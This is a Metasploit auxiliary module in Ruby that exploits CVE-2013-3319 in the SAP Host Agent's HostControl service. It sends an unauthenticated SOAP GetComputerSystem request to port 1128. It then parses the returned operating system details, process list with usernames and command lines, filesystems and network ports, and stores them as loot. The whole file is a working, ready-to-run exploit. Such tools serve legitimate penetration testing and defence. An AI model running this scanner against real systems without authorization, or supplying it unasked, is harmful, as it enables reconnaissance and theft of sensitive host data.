Files
metasploit-gs/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb
T

379 lines
10 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP Host Agent Information Disclosure',
'Description' => %q{
This module attempts to retrieve computer and operating system
information from Host Agent through the SAP HostControl service.
},
'References' => [
['CVE', '2013-3319'],
['OSVDB', '95616'],
['BID', '61402'],
['URL', 'https://launchpad.support.sap.com/#/notes/1816536'],
['URL', 'https://labs.integrity.pt/advisories/cve-2013-3319/']
],
'Author' => [
'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(1128)
]
)
register_autofilter_ports([1128])
end
def initialize_tables
@computer_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => 'Remote Computer Listing',
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
'Names',
'Hostnames',
'IPAddresses'
]
)
@os_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => 'Remote OS Listing',
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
'Name',
'Type',
'Version',
'TotalMemSize',
'Load Avg 1m',
'Load Avg 5m',
'Load Avg 15m',
'CPUs',
'CPU User',
'CPU Sys',
'CPU Idle'
]
)
@net_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => 'Network Port Listing',
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
'ID',
'PacketsIn',
'PacketsOut',
'ErrorsIn',
'ErrorsOut',
'Collisions'
]
)
@process_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => 'Remote Process Listing',
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
'Name',
'PID',
'Username',
'Priority',
'Size',
'Pages',
'CPU',
'CPU Time',
'Command'
]
)
@fs_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => 'Remote Filesystem Listing',
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
'Name',
'Size',
'Available',
'Remote'
]
)
@net_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => 'Network Port Listing',
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
'ID',
'PacketsIn',
'PacketsOut',
'ErrorsIn',
'ErrorsOut',
'Collisions'
]
)
end
# Parses an array of mProperties elements. For every mProperties element,
# if there is an item with mValue ITSAMComputerSystem, then collect the
# values for the items with mName in (Name, Hostnames, IPAdresses)
def parse_computer_info(data)
success = false
data.each do |properties|
name, hostnames, addresses = ''
if properties.get_elements('item//mValue[text()="ITSAMComputerSystem"]').empty?
next
end
item_list = properties.get_elements('item')
item_list.each do |item|
item_name = item.get_elements('mName').first.text
item_value = item.get_elements('mValue').first.text
case item_name
when 'Name'
name = item_value
when 'Hostnames'
hostnames = item_value
when 'IPAdresses'
addresses = item_value
end
end
@computer_table << [name, hostnames, addresses]
success = true
end
return success
end
# Get the mValues of every item
def parse_values(data, ignore)
values = []
item_list = data.get_elements('item')
item_list.each do |item|
value_item = item.get_elements('mValue')
if value_item.empty?
value = ''
else
value = value_item.first.text
end
if value == ignore
next
end
values << value
end
return values
end
# Parses an array of mProperties elements and get the interesting info
# including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and
# ITSAMNetworkPort properties.
def parse_detailed_info(data)
data.each do |properties|
if !properties.get_elements('item//mValue[text()="ITSAMOperatingSystem"]').empty?
values = parse_values(properties, 'ITSAMOperatingSystem')
parse_os_info(values)
end
if !properties.get_elements('item//mValue[text()="ITSAMOSProcess"]').empty?
values = parse_values(properties, 'ITSAMOSProcess')
parse_process_info(values)
end
if !properties.get_elements('item//mValue[text()="ITSAMFileSystem"]').empty?
values = parse_values(properties, 'ITSAMFileSystem')
parse_fs_info(values)
end
if !properties.get_elements('item//mValue[text()="ITSAMNetworkPort"]').empty?
values = parse_values(properties, 'ITSAMNetworkPort')
parse_net_info(values)
end
end
end
def parse_os_info(os_info)
@os_table << [
os_info[0], # OS name
os_info[1], # OS type
os_info[2], # OS Version
os_info[7], # Total Memory
os_info[11], # Load Average (1m)
os_info[12], # Load Average (5m)
os_info[13], # Load Average (15m)
os_info[17], # Number of CPUs / Cores
os_info[18] + '%', # CPU usage (User)
os_info[19] + '%', # CPU usage (system)
os_info[20] + '%' # CPU idle
]
end
def parse_process_info(process_info)
@process_table << [
process_info[0], # Process name
process_info[1], # PID
process_info[2], # Username
process_info[3], # Priority
process_info[4], # Mem size
process_info[5], # pages
process_info[6] + '%', # CPU usage
process_info[7], # CPU time
process_info[8] # Command
]
end
def parse_fs_info(fs_info)
@fs_table << [
fs_info[0], # Filesystem Name
fs_info[2], # Size
fs_info[3], # Space Available
fs_info[6] # Is the filesystem remote ?
]
end
def parse_net_info(net_info)
@net_table << [
net_info[0], # Network Device ID
net_info[1], # Packets In
net_info[2], # Packets Out
net_info[3], # Errors In
net_info[4], # Errors Out
net_info[5] # Collisions
]
end
def run_host(rhost)
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")
data = '<?xml version="1.0" encoding="utf-8"?>'
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
begin
res = send_request_raw(
{
'uri' => '/',
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'text/xml; charset=UTF-8'
}
}
)
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Unable to connect to service")
return
end
if res && (res.code == 500) && res.body =~ %r{<faultstring>(.*)</faultstring>}i
faultcode = ::Regexp.last_match(1).strip
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
return
elsif res && (res.code != 200)
vprint_error("#{rhost}:#{rport} - Error in response")
return
end
initialize_tables
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")
begin
response_xml = REXML::Document.new(res.body)
computer_info = response_xml.elements.to_a('//mProperties/') # Computer info
detailed_info = response_xml.elements.to_a('//item/mProperties/') # all other info
rescue StandardError
print_error("#{rhost}:#{rport} - Unable to parse XML response")
return
end
success = parse_computer_info(computer_info)
if success
print_good("#{rhost}:#{rport} - Information retrieved successfully")
else
print_error("#{rhost}:#{rport} - Unable to parse reply")
return
end
# assume that if we can parse the first part, it is a valid SAP XML response
parse_detailed_info(detailed_info)
sap_tables_clean = ''
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
sap_tables_clean << t.to_s
end
vprint_good("#{rhost}:#{rport} - Information retrieved:\n" + sap_tables_clean)
xml_raw = store_loot(
'sap.getcomputersystem',
'text/xml',
rhost,
res.body,
'sap_getcomputersystem.xml',
'SAP GetComputerSystem XML'
)
xml_parsed = store_loot(
'sap.getcomputersystem',
'text/plain',
rhost,
sap_tables_clean,
'sap_getcomputersystem.txt',
'SAP GetComputerSystem XML'
)
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
end
end